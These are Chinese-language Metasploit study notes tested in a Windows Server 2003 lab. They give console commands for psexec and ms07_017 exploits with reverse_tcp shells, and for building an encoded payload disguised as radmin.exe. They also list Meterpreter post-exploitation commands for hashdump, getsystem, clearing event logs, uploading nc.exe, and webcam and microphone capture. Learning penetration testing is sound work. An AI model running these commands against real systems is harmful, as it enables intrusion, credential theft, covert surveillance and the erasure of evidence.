MSF-exploit、payload、meterpreter、msfcli

Exploit

以下两个用winserver2003测试成功。

  • Active expolit

    • use exploit/windows/smb/psexec
    • set RHOST 1.1.1.14
    • set PAYLOAD windows/shell/reverse_tcp
    • set LHOST 1.1.1.10set LPORT 4444
    • set SMBUSER user1
    • set SMBPASS pass1
    • exploit
  • Passive exploit

    • search ms07_017
    • use 0
    • set payload windows/shell/reverse_tcp
    • set servhost 1.1.1.10
    • set lhost 1.1.1.10
    • set lport 4444
    • exploit

Payload

  • use payload/windows/shell_bind_tcp

  • generate(生成的payload含有坏字符)

    • generate -b ‘\x00’
    • generate -b ‘\x00\x02\x44’
    • 会自动选择最优的encoder
  • 手动指定编码模块

    • show encoders
    • generate -e x86/nonalpha
    • generate -b ‘\x00\xff’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
  • NOP:no-operation/Next Operation(无任何操作)

    • EiP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行
    • generate -s 14(payload前面的NOP的长度)
  • -t

  • -f 选择payload的语言。


Meterpreter

  • 高级、动态、可拓展的Payload

    • 基于meterpreter上下文,利用更多漏洞发起攻击
    • 后渗透测试阶段一站式操作界面
  • 完全基于内存的DLL注入式payload(不写硬盘)

    • 注入合法系统进程,并建立stager
    • 基于Stager上传和预加载DLL进行拓展模块的注入(客户端API)
    • 基于stager建立的socket连接建立加密的TLS/1.0通信隧道
    • 利用TLS隧道进一步加载后续拓展模块(避免网络取证)
  • 服务端使用C语言编写

  • 客户端(运行在被渗透的机器)提供基于ruby的全特性API(支持任何语言)

基本命令
  • 用meterpreter的payload获取到目标shel后,sessions -i 进入meterpreter的命令界面。help查看帮助。

  • background退出当前session

  • 一些基本命令可以使用(即便在windows操作系统)

    • cd、ls、cat、pwd、dir、mkdir、mv、rm、rmdir、edit
    • lpwd、lcd、lls(在命令前加l,就是在本机执行命令)
  • run、bgrun(跑一些脚本)

  • clearev 清除日志(windows事件日志查看器)

  • download(默认下载到/tmp)

  • upload /usr/share/windows-binaries/nc.exe c:\windows\system32

  • getuid、getsystem(切换为system用户)、getprivs、getproxy、

  • getpid(查看当前session注入的进程)、ps查看所有进程,migrate(把自己迁移到其它进程)

  • hashdump、sysinfo

  • show_mount、search

  • arp、netstat、route

  • idletime、resourece、

  • record_mic、webcam_list、webcam_snap -i 1 -v false

  • python拓展

    • load python
    • python_execute”print(‘asdf’)”
    • python_execute”import os;cd =os.getcwd()” -r cd
    • python_import -f find.py

msfcli

  • 编写脚本时便于引用

  • msfconsole -x “use xxx;set xx xxx;set xx xx;exploit”